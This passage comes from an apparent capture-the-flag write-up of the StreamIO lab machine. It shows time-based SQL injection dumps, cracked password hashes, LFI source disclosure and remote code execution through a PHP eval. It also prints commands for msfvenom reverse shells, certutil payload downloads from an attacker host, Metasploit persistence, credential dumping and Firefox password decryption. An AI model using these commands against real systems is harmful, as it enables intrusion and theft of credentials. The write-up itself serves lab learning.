[03:35:34] [INFO] retrieved: 18
[03:35:44] [INFO] retrieved: 22ee218331afd081b0dcd8115284bae3
[03:40:40] [INFO] retrieved: Baxter
[03:46:56] [INFO] retrieved: 19
[03:47:07] [INFO] retrieved: ef8f3d30a856cf166fb8215aca93e9ff
[03:52:08] [INFO] retrieved: Clara
[03:58:25] [INFO] retrieved: 20
[03:58:32] [INFO] retrieved: 3961548825e3e21df5646cafe11c6c76
[04:03:26] [INFO] retrieved: Barbra
[04:09:38] [INFO] retrieved: 21
[04:09:46] [INFO] retrieved: ee0b8a0937abd60c2882eacb2f8dc49f
[04:14:58] [INFO] retrieved: Lenord
[04:21:17] [INFO] retrieved: 22
[04:21:25] [INFO] retrieved: 0049ac57646627b8d7aeaccf8b6a936f
[04:26:29] [INFO] retrieved: Austin
[04:32:55] [INFO] retrieved: 23
[04:33:05] [INFO] retrieved: 8097cedd612cc37c29
[04:34:37] [ERROR] invalid character detected. retrying..
[04:34:37] [WARNING] increasing time delay to 2 seconds
db152b6e9edbd3
[04:40:37] [INFO] retrieved: Garfield
[04:51:20] [INFO] retrieved: 24
[04:51:38] [INFO] retrieved: 6dcd87740abb64edf
[04:54:01] [INFO] adjusting time delay to 1 second due to good response times
a36d170f0d5450d
[04:57:34] [INFO] retrieved: Juliette
[05:03:43] [INFO] retrieved: 25
[05:03:52] [INFO] retrieved: bf55e15b119860a6e6b5a164377da719
[05:08:48] [INFO] retrieved: Victor
[05:15:07] [INFO] retrieved: 26
[05:15:16] [INFO] retrieved: 7df45a9e3de3863807c026ba48e55fb3
[05:20:25] [INFO] retrieved: Lucifer
[05:26:37] [INFO] retrieved: 27
[05:26:46] [INFO] retrieved: 2a4e2cf22dd8fcb45adcb91be1e22ae8
[05:31:40] [INFO] retrieved: Bruno
[05:38:02] [INFO] retrieved: 28
[05:38:13] [INFO] retrieved: ec33265e5fc8c2f1b0c137bb7b3632b5
[05:43:08] [INFO] retrieved: Diablo
[05:49:24] [INFO] retrieved: 29
[05:49:36] [INFO] retrieved: dc332fb5576e9631c9dae83f194f8e70
[05:54:38] [INFO] retrieved: Robin
[06:00:59] [INFO] retrieved: 3
[06:01:04] [INFO] retrieved: c660060492d9edcaa8332d89c99c9239
[06:06:03] [INFO] retrieved: James
[06:12:20] [INFO] retrieved: 30
[06:12:27] [INFO] retrieved: 384463526d288edcc95fc3701e523bc7
[06:17:20] [INFO] retrieved: Stan
[06:23:45] [INFO] retrieved: 31
[06:23:53] [INFO] retrieved: b779ba15cedfd22a023c4d8bcf5f2332
[06:28:47] [INFO] retrieved: yoshihide
[06:34:55] [INFO] retrieved: 4
[06:35:01] [INFO] retrieved: 925e5408ecb67aea449373d668b7359e
[06:40:02] [INFO] retrieved: Theodore
[06:46:15] [INFO] retrieved: 5
[06:46:20] [INFO] retrieved: 083ffae904143c4796e464dac33c1f7d
[06:51:20] [INFO] retrieved: Samantha
[06:57:26] [INFO] retrieved: 6
[06:57:32] [INFO] retrieved: 08344b85b329d7efd611b7a7743e8a09
[07:02:47] [INFO] retrieved: Lauren
[07:09:04] [INFO] retrieved: 7
[07:09:10] [INFO] retrieved: d62be0dc82071bccc1322d64ec5b6c51
[07:14:01] [INFO] retrieved: William
[07:20:13] [INFO] retrieved: 8
[07:20:20] [INFO] retrieved: f87d3c0d6c8fd686aacc6627f1f493a5
[07:25:36] [INFO] retrieved: Sabrina
[07:31:45] [INFO] retrieved: 9
[07:31:50] [INFO] retrieved: f03b910e2bd0313a23fdd7575f34a694
[07:37:06] [INFO] retrieved: Robert
Database: STREAMIO
Table: users
[29 entries]
+----+-----------+----------------------------------+
| id | username  | password                         |
+----+-----------+----------------------------------+
| 10 | Thane     | 3577c47eb1e12c8ba021611e1280753c |
| 11 | Carmon    | 35394484d89fcfdb3c5e447fe749d213 |
| 12 | Barry     | 54c88b2dbd7b1a84012fabc1a4c73415 |
| 13 | Oliver    | fd78db29173a5cf701bd69027cb9bf6b |
| 14 | Michelle  | b83439b16f844bd6ffe35c02fe21b3c0 |
| 15 | Gloria    | 0cfaaaafb559f081df2befbe66686de0 |
| 16 | Victoria  | b22abb47a02b52d5dfa27fb0b534f693 |
| 17 | Alexendra | 1c2b3d8270321140e5153f6637d3ee53 |
| 18 | Baxter    | 22ee218331afd081b0dcd8115284bae3 |
| 19 | Clara     | ef8f3d30a856cf166fb8215aca93e9ff |
| 20 | Barbra    | 3961548825e3e21df5646cafe11c6c76 |
| 21 | Lenord    | ee0b8a0937abd60c2882eacb2f8dc49f |
| 22 | Austin    | 0049ac57646627b8d7aeaccf8b6a936f |
| 23 | Garfield  | 8097cedd612cc37c29db152b6e9edbd3 |
| 24 | Juliette  | 6dcd87740abb64edfa36d170f0d5450d |
| 25 | Victor    | bf55e15b119860a6e6b5a164377da719 |
| 26 | Lucifer   | 7df45a9e3de3863807c026ba48e55fb3 |
| 27 | Bruno     | 2a4e2cf22dd8fcb45adcb91be1e22ae8 |
| 28 | Diablo    | ec33265e5fc8c2f1b0c137bb7b3632b5 |
| 29 | Robin     | dc332fb5576e9631c9dae83f194f8e70 |
| 3  | James     | c660060492d9edcaa8332d89c99c9239 |
| 30 | Stan      | 384463526d288edcc95fc3701e523bc7 |
| 31 | yoshihide | b779ba15cedfd22a023c4d8bcf5f2332 |
| 4  | Theodore  | 925e5408ecb67aea449373d668b7359e |
| 5  | Samantha  | 083ffae904143c4796e464dac33c1f7d |
| 6  | Lauren    | 08344b85b329d7efd611b7a7743e8a09 |
| 7  | William   | d62be0dc82071bccc1322d64ec5b6c51 |
| 8  | Sabrina   | f87d3c0d6c8fd686aacc6627f1f493a5 |
| 9  | Robert    | f03b910e2bd0313a23fdd7575f34a694 |
+----+-----------+----------------------------------+
```

As you can see, this takes 5 hours, 32 minutes, and 13 seconds to run, so there is likely a faster way. Cracking the passwords with [CrackStation](https://crackstation.net/) finds the following (user's not shown could not be cracked with CrackStation):

| Username  | Hash                             | Password          |
| --------- | -------------------------------- | ----------------- |
| Thane     | 3577c47eb1e12c8ba021611e1280753c | highschoolmusical |
| Barry     | 54c88b2dbd7b1a84012fabc1a4c73415 | $hadoW            |
| Michelle  | b83439b16f844bd6ffe35c02fe21b3c0 | !?Love?!123       |
| Victoria  | b22abb47a02b52d5dfa27fb0b534f693 | !5psycho8!        |
| Clara     | ef8f3d30a856cf166fb8215aca93e9ff | %$clara           |
| Lenord    | ee0b8a0937abd60c2882eacb2f8dc49f | physics69i        |
| Juliette  | 6dcd87740abb64edfa36d170f0d5450d | $3xybitch         |
| Bruno     | 2a4e2cf22dd8fcb45adcb91be1e22ae8 | $monique$1991$    |
| yoshihide | b779ba15cedfd22a023c4d8bcf5f2332 | 66boysandgirls..  |
| Lauren    | 08344b85b329d7efd611b7a7743e8a09 | ##123a8j8w5123##  |
| Sabrina   | f87d3c0d6c8fd686aacc6627f1f493a5 | !!sabrina$        |

Out of these, the only login that works is `yoshihide:66boysandgirls..`.

### Admin Panel

We are redirected to the home page, but since we know the adddress of the admin page (`https://streamio.htb/admin/index.php`), let's go there:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-ee66ac25ac2dc7e14411c0f2f328d168628ac3a0%2FScreenshot%202022-07-29%20at%2012-36-44%20Admin%20panel.png?alt=media)

Clicking the links at the top changes parameter in the URL. For instance, in the screenshot above, the URL is `https://streamio.htb/admin/index.php?staff=` for the staff list. For "Movie management" the URL is `https://streamio.htb/admin/index.php?movie=` and for "User management" the URL is `https://streamio.htb/admin/index.php?user=`.

Let's fuzz this parameter by running `ffuf -ic -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u https://streamio.htb/admin/index.php\?FUZZ\= -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -fs 1678`. We are specifying the `PHPSESSID` cookie because we need an authenticated session to access the admin page.

```
user                    [Status: 200, Size: 2073, Words: 146, Lines: 63, Duration: 34ms]
staff                   [Status: 200, Size: 12484, Words: 1784, Lines: 399, Duration: 35ms]
movie                   [Status: 200, Size: 320235, Words: 15986, Lines: 10791, Duration: 45ms]
debug                   [Status: 200, Size: 1712, Words: 90, Lines: 50, Duration: 36ms]
:: Progress: [87651/87651] :: Job [1/1] :: 1293 req/sec :: Duration: [0:02:07] :: Errors: 0 ::
```

Going to `https://streamio.htb/admin/index.php?debug=` says "this option is for developers only." We fuzz for a LFI exploit by running `ffuf -ic -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt -u https://streamio.htb/admin/index.php\?debug\=FUZZ -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -fs 1712`:

```
C:/WINDOWS/System32/drivers/etc/hosts [Status: 200, Size: 2577, Words: 262, Lines: 71, Duration: 33ms]
C:/Windows/win.ini      [Status: 200, Size: 1804, Words: 95, Lines: 57, Duration: 33ms]
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml  [Status: 200, Size: 46280, Words: 8867, Lines: 719, Duration: 38ms]
:: Progress: [73/73] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
```

So, we found an LFI exploit on a URL parameter in a PHP application. We can use PHP filter URIs to get file contents by running `https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php` (we know of `master.php` from fuzzing earlier, [more info from HackTricks about PHP filters](https://book.hacktricks.xyz/pentesting-web/file-inclusion#php-filter)). Then, just base64 decode the data:

```php
<h1>Movie managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
if(isset($_POST['movie_id']))
{
$query = "delete from movies where id = ".$_POST['movie_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from movies order by movie";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['movie']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST" action="?movie=">
				<input type="hidden" name="movie_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>Staff managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
$query = "select * from users where is_staff = 1 ";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
if(isset($_POST['staff_id']))
{
?>
<div class="alert alert-success"> Message sent to administrator</div>
<?php
}
$query = "select * from users where is_staff = 1";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['username']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST">
				<input type="hidden" name="staff_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<h1>User managment</h1>
<?php
if(!defined('included'))
	die("Only accessable through includes");
if(isset($_POST['user_id']))
{
$query = "delete from users where is_staff = 0 and id = ".$_POST['user_id'];
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
}
$query = "select * from users where is_staff = 0";
$res = sqlsrv_query($handle, $query, array(), array("Scrollable"=>"buffered"));
while($row = sqlsrv_fetch_array($res, SQLSRV_FETCH_ASSOC))
{
?>

<div>
	<div class="form-control" style="height: 3rem;">
		<h4 style="float:left;"><?php echo $row['username']; ?></h4>
		<div style="float:right;padding-right: 25px;">
			<form method="POST">
				<input type="hidden" name="user_id" value="<?php echo $row['id']; ?>">
				<input type="submit" class="btn btn-sm btn-primary" value="Delete">
			</form>
		</div>
	</div>
</div>
<?php
} # while end
?>
<br><hr><br>
<form method="POST">
<input name="include" hidden>
</form>
<?php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
?>
```

Let's also get the `index.php` file by running `https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=index.php`:

```php
<?php
define('included',true);
session_start();
if(!isset($_SESSION['admin']))
{
	header('HTTP/1.1 403 Forbidden');
	die("<h1>FORBIDDEN</h1>");
}
$connection = array("Database"=>"STREAMIO", "UID" => "db_admin", "PWD" => 'B1@hx31234567890');
$handle = sqlsrv_connect('(local)',$connection);

?>
<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>Admin panel</title>
	<link rel = "icon" href="/images/icon.png" type = "image/x-icon">
	<!-- Basic -->
	<meta charset="utf-8" />
	<meta http-equiv="X-UA-Compatible" content="IE=edge" />
	<!-- Mobile Metas -->
	<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
	<!-- Site Metas -->
	<meta name="keywords" content="" />
	<meta name="description" content="" />
	<meta name="author" content="" />

<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>

	<!-- Custom styles for this template -->
	<link href="/css/style.css" rel="stylesheet" />
	<!-- responsive style -->
	<link href="/css/responsive.css" rel="stylesheet" />

</head>
<body>
	<center class="container">
		<br>
		<h1>Admin panel</h1>
		<br><hr><br>
		<ul class="nav nav-pills nav-fill">
			<li class="nav-item">
				<a class="nav-link" href="?user=">User management</a>
			</li>
			<li class="nav-item">
				<a class="nav-link" href="?staff=">Staff management</a>
			</li>
			<li class="nav-item">
				<a class="nav-link" href="?movie=">Movie management</a>
			</li>
			<li class="nav-item">
				<a class="nav-link" href="?message=">Leave a message for admin</a>
			</li>
		</ul>
		<br><hr><br>
		<div id="inc">
			<?php
				if(isset($_GET['debug']))
				{
					echo 'this option is for developers only';
					if($_GET['debug'] === "index.php") {
						die(' ---- ERROR ----');
					} else {
						include $_GET['debug'];
					}
				}
				else if(isset($_GET['user']))
					require 'user_inc.php';
				else if(isset($_GET['staff']))
					require 'staff_inc.php';
				else if(isset($_GET['movie']))
					require 'movie_inc.php';
				else 
			?>
		</div>
	</center>
</body>
</html>
```

We get some credentials to the `STREAMIO` database: `db_admin:B1@hx31234567890`.

## Foothold

Importantly, the `index.php` script sets `included` to true (`define('included',true);`), which means if we set the `debug` GET parameter to `master.php` it will not die immediately since the `!defined('included')` check will pass.

`master.php` has the below code:

```php
if(isset($_POST['include']))
{
if($_POST['include'] !== "index.php" ) 
eval(file_get_contents($_POST['include']));
else
echo(" ---- ERROR ---- ");
}
```

It will execute the contents of the file path ([`file_get_contents` documentation](https://www.php.net/manual/en/function.file-get-contents.php)) passed in through a POST parameter called `include`... as long as the `included` variable is true, which it will be if `index.php` excutes before `master.php`. So, if we POST to `https://streamio.htb/admin/index.php?debug=master.php` we can specify an `include` with a file path to execute. By the way, [making a POST request with GET parameters](https://stackoverflow.com/a/10426554) is okay.

`file_get_contents` can make a web request according to the documentation:

```php
<?php
$homepage = file_get_contents('http://www.example.com/');
echo $homepage;
?>
```

So, let's start a webserver with `python -m http.server 8000` and create a file called `exploit` with the contents `echo(system("dir"));`. Then, we can make the POST request with `curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.php | grep "<input name=\"include\" hidden>" -A 9999`:

```
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  335k  100  335k  100    39   748k     87 --:--:-- --:--:-- --:--:--  750k
<input name="include" hidden>
</form>
 Volume in drive C has no label.
 Volume Serial Number is A381-2B63

 Directory of C:\inetpub\streamio.htb\admin

02/22/2022  03:49 AM    <DIR>          .
02/22/2022  03:49 AM    <DIR>          ..
02/22/2022  03:49 AM    <DIR>          css
02/22/2022  03:49 AM    <DIR>          fonts
02/22/2022  03:49 AM    <DIR>          images
06/03/2022  01:51 AM             2,401 index.php
02/22/2022  04:19 AM    <DIR>          js
06/03/2022  01:53 AM             3,055 master.php
02/23/2022  03:16 AM               878 movie_inc.php
02/23/2022  03:16 AM               936 staff_inc.php
02/23/2022  03:16 AM               879 user_inc.php
               5 File(s)          8,149 bytes
               6 Dir(s)   7,143,124,992 bytes free
               6 Dir(s)   7,143,124,992 bytes free              </div>
        </center>
</body>
</html>
```

We get a directory listing! We can execute commands!

We will use Metasploit to get a reverse shell ([other reverse shell options](https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/windows)). Create PHP payload by running `msfvenom -p php/meterpreter_reverse_tcp LHOST=tun0 LPORT=38121 -f raw > shell.php`.

Then, run the following commands to start the Metasploit listener:

```
$ sudo msfconsole
msf6 > use exploit/multi/handler
msf6 > options
msf6 > set payload php/meterpreter_reverse_tcp
msf6 > options
msf6 > set LHOST tun0
msf6 > set LPORT 38121
msf6 > run
```

Next, start the webserver with `python -m http.server 8000` so PHP can download our `shell.php` file. Finally, run the POST request with `curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/shell.php" https://streamio.htb/admin/index.php\?debug\=master.php`. When the POST request is sent, PHP will read the contents of `http://10.10.14.98:8000/shell.php` and run `eval` on them, giving us a meterpreter session.

You can switch back to the Metasploit shell by running `background` and then switch back to the meterpreter using `sessions -i 1`.

This shell keeps crashing, so are going to try a different method. Create a meterpreter executable with `msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.98 LPORT=38122 -f exe > exploit.exe`. Then, in our `exploit` file paste in `system("certutil.exe -urlcache -f http://10.10.14.98:8000/exploit.exe C:\\windows\\temp\\exploit.exe");`, which is a command that will download our newly create meterpreter `exploit.exe`. Then, send off a POST request with `curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.php`:

```
****  Online  ****
CertUtil: -URLCache command completed successfully.
```

Now, we just need to execute that program. So, edit the `exploit` file again and replace its contents with `system("C:\\windows\\temp\\exploit.exe");` to run the program. Make sure the webserver is still running (`python -m http.server 8000`). Start a Metasploit listener by running the following commands:

```
$ sudo msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST tun0
msf6 > set LPORT 38122
msf6 > run
```

Then, send the POST request again: `curl --insecure -b "PHPSESSID=95aolvr8otpu56btshfqv66f2a" -X POST --data "include=http://10.10.14.98:8000/exploit" https://streamio.htb/admin/index.php\?debug\=master.ph`.

Ger persistance by running the following:

```
background
msf6 > use exploit/windows/local/persistence
msf6 > set DELAY 60
msf6 > set SESSION 3
msf6 > set LHOST tun0
msf6 > set LPORT 59029
run
```

This will output the following:

```
[*] Running persistent module against DC via session ID: 3
[+] Persistent VBS script written on DC to C:\Windows\TEMP\pIEzlxOGXTTFd.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\DwXCpDwC
[-] Failed to make entry in the registry for persistence
```

We need higher privileges so maybe we can do this later.

Upload [WinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS) with `upload tools/winPEASx64.exe`. Create a shell with `shell` in the meterpreter and then type `winPEASx64.exe log` to run WinPEAS. The `log` option redirects all output to `out.txt`, which is useful since it winPEAS will print 10,000+ lines of output in this scenario. You can download the report by running `download out.txt` form the meterpreter (exit the shell first by running `exit`): [winpeas\_report\_yoshihide.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/StreamIO/winpeas_report_yoshihide.txt). Read the report with `less -r winpeas_report_yoshihide.txt`.

We got some information about other users:

```
Computer Name           :   DC
User Name               :   JDgodd
User Id                 :   1104
Is Enabled              :   True
User Type               :   User
Comment                 :   
Last Logon              :   2/26/2022 10:17:08 AM
Logons Count            :   8
Password Last Set       :   2/22/2022 2:56:42 AM

=================================================================================================

Computer Name           :   DC
User Name               :   Martin
User Id                 :   1105
Is Enabled              :   True
User Type               :   Administrator
Comment                 :   
Last Logon              :   7/29/2022 7:58:39 PM
Logons Count            :   77
Password Last Set       :   5/26/2022 4:16:42 PM

=================================================================================================

Computer Name           :   DC
User Name               :   nikk37
User Id                 :   1106
Is Enabled              :   True
User Type               :   User
Comment                 :   
Last Logon              :   2/22/2022 2:39:51 AM
Logons Count            :   3
Password Last Set       :   2/22/2022 2:57:16 AM
```

From the "Current TCP Listening Ports" we can figure out that the SQL server port is `1433`:

```
╔══════════╣ Current TCP Listening Ports
╚ Check for services restricted from the outside                                                                                                                                                           
  Enumerating IPv4 connections

  Protocol   Local Address         Local Port    Remote Address        Remote Port     State             Process ID      Process Name

  TCP        0.0.0.0               80            0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               88            0.0.0.0               0               Listening         632             lsass
  TCP        0.0.0.0               135           0.0.0.0               0               Listening         892             svchost
  TCP        0.0.0.0               389           0.0.0.0               0               Listening         632             lsass
  TCP        0.0.0.0               443           0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               445           0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               464           0.0.0.0               0               Listening         632             lsass
  TCP        0.0.0.0               593           0.0.0.0               0               Listening         892             svchost
  TCP        0.0.0.0               636           0.0.0.0               0               Listening         632             lsass
  TCP        0.0.0.0               1433          0.0.0.0               0               Listening         3580            sqlservr
  TCP        0.0.0.0               3268          0.0.0.0               0               Listening         632             lsass
  TCP        0.0.0.0               3269          0.0.0.0               0               Listening         632             lsass
  TCP        0.0.0.0               5985          0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               9389          0.0.0.0               0               Listening         2636            Microsoft.ActiveDirectory.WebServices
  TCP        0.0.0.0               47001         0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               49664         0.0.0.0               0               Listening         492             wininit
  TCP        0.0.0.0               49665         0.0.0.0               0               Listening         1088            svchost
  TCP        0.0.0.0               49666         0.0.0.0               0               Listening         1496            svchost
  TCP        0.0.0.0               49667         0.0.0.0               0               Listening         632             lsass
  TCP        0.0.0.0               49673         0.0.0.0               0               Listening         632             lsass
  TCP        0.0.0.0               49674         0.0.0.0               0               Listening         632             lsass
  TCP        0.0.0.0               49689         0.0.0.0               0               Listening         624             services
  TCP        0.0.0.0               49704         0.0.0.0               0               Listening         2844            dns
  TCP        0.0.0.0               56312         0.0.0.0               0               Listening         2772            dfsrs
  TCP        10.10.11.158          53            0.0.0.0               0               Listening         2844            dns
  TCP        10.10.11.158          139           0.0.0.0               0               Listening         4               System
  TCP        10.10.11.158          60110         10.10.14.98           38122           Established       4508            C:\windows\temp\exploit.exe
  TCP        127.0.0.1             53            0.0.0.0               0               Listening         2844            dns
```

We got some credentials for the database from dumping the source of the website: `db_admin:B1@hx31234567890`. Let's try to authenticate to the database with those credentials and see if we can find anything. [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#having-credentials) has information about enumerating MS SQL if you have credentials.

In the meterpreter session we can forward the port to our attacker machine with `portfwd add -l 1433 -p 1433 -r localhost`.

Then, we ca try one of the methods from [HackTricks](https://book.hacktricks.xyz/network-services-pentesting/pentesting-mssql-microsoft-sql-server#having-credentials) for connecting to the database. I first tried `sqsh -S localhost -U db_admin -P B1@hx31234567890 -D streamio_backup`, which worked but it seemed complicated. So, I tried `sqlmap -d mssql://db_admin:B1@hx31234567890@localhost:1433/streamio_backup --dump`, which couldn't deal with the `@` in the password. I ended up using [impacket](https://github.com/SecureAuthCorp/impacket)'s [mssqlclient.py](https://github.com/SecureAuthCorp/impacket/blob/master/examples/mssqlclient.py).

```
$ python3 examples/mssqlclient.py 'db_admin:B1@hx31234567890'@127.0.0.1 -port 1433
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC): Line 1: Changed database context to 'master'.
[*] INFO(DC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> SELECT name FROM master.dbo.sysdatabases
name

--------------------------------------------------------------------------------------------------------------------------------

master

tempdb

model

msdb

STREAMIO

streamio_backup

SQL> use streamio_backup;
[*] ENVCHANGE(DATABASE): Old Value: streamio_backup, New Value: streamio_backup
[*] INFO(DC): Line 1: Changed database context to 'streamio_backup'.
SQL> SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE' (command from https://stackoverflow.com/a/175446)
TABLE_CATALOG                                                                                                                      TABLE_SCHEMA                                                                                                                       TABLE_NAME                                                                                                                         TABLE_TYPE

--------------------------------------------------------------------------------------------------------------------------------   --------------------------------------------------------------------------------------------------------------------------------   --------------------------------------------------------------------------------------------------------------------------------   ----------

streamio_backup                                                                                                                    dbo                                                                                                                                movies                                                                                                                             b'BASE TABLE'

streamio_backup                                                                                                                    dbo                                                                                                                                users                                                                                                                              b'BASE TABLE'

SQL> select * from users;
         id   username                                             password

-----------   --------------------------------------------------   --------------------------------------------------

          1   nikk37                                               389d14cb8e4e9b94b137deb1caf0612a

          2   yoshihide                                            b779ba15cedfd22a023c4d8bcf5f2332

          3   James                                                c660060492d9edcaa8332d89c99c9239

          4   Theodore                                             925e5408ecb67aea449373d668b7359e

          5   Samantha                                             083ffae904143c4796e464dac33c1f7d

          6   Lauren                                               08344b85b329d7efd611b7a7743e8a09

          7   William                                              d62be0dc82071bccc1322d64ec5b6c51

          8   Sabrina                                              f87d3c0d6c8fd686aacc6627f1f493a5
```

This gives us a new user, `nikk37`, and their hash, `389d14cb8e4e9b94b137deb1caf0612a`. Putting this into [CrackStation](https://crackstation.net/) gives us a password of `get_dem_girls2@yahoo.com`.

Trying those credentials with [evil-winrm](https://github.com/Hackplayers/evil-winrm) works: `evil-winrm -u nikk37 -p get_dem_girls2@yahoo.com -i streamio.htb`

We can now run `cat C:\Users\nikk37\Desktop\user.txt` and finally get the `user.txt` flag.

## Lateral Movement

Upload WinPEAS with `upload tools/winPEASx64.exe` in evil-winrm and then run it with `.\winPEASx64.exe log`. Download the output with `download out.txt`: [winpeas\_report\_nikk37.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/StreamIO/winpeas_report_nikk37.txt). Read the report with `less -r winpeas_report_nikk37.txt`.

We get some good output:

```
╔══════════╣ Looking for Firefox DBs
╚  https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#browsers-history
    Firefox credentials file exists at C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db
╚ Run SharpWeb (https://github.com/djhohnstein/SharpWeb)
```

Running the suggested tool, [SharpWeb](https://github.com/djhohnstein/SharpWeb) finding nothing:

```

=== Checking for Firefox (Current User) ===
```

Researching other tools finds [unode/firefox\_decrypt](https://github.com/unode/firefox_decrypt) and [lclevy/firepwd](https://github.com/lclevy/firepwd). We'll use `firepwd` since it doesn't need the entire Firefox profile.

Download `C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\key4.db` and `C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release\logins.json` to the same directory as `firepwn` and then run `python firepwd.py`:

```
globalSalt: b'd215c391179edb56af928a06c627906bcbd4bd47'
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'5d573772912b3c198b1e3ee43ccb0f03b0b23e46d51c34a2a055e00ebcd240f5'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'1baafcd931194d48f8ba5775a41f'
       }
     }
   }
   OCTETSTRING b'12e56d1c8458235a4136b280bd7ef9cf'
 }
clearText b'70617373776f72642d636865636b0202'
password check? True
 SEQUENCE {
   SEQUENCE {
     OBJECTIDENTIFIER 1.2.840.113549.1.5.13 pkcs5 pbes2
     SEQUENCE {
       SEQUENCE {
         OBJECTIDENTIFIER 1.2.840.113549.1.5.12 pkcs5 PBKDF2
         SEQUENCE {
           OCTETSTRING b'098560d3a6f59f76cb8aad8b3bc7c43d84799b55297a47c53d58b74f41e5967e'
           INTEGER b'01'
           INTEGER b'20'
           SEQUENCE {
             OBJECTIDENTIFIER 1.2.840.113549.2.9 hmacWithSHA256
           }
         }
       }
       SEQUENCE {
         OBJECTIDENTIFIER 2.16.840.1.101.3.4.1.42 aes256-CBC
         OCTETSTRING b'e28a1fe8bcea476e94d3a722dd96'
       }
     }
   }
   OCTETSTRING b'51ba44cdd139e4d2b25f8d94075ce3aa4a3d516c2e37be634d5e50f6d2f47266'
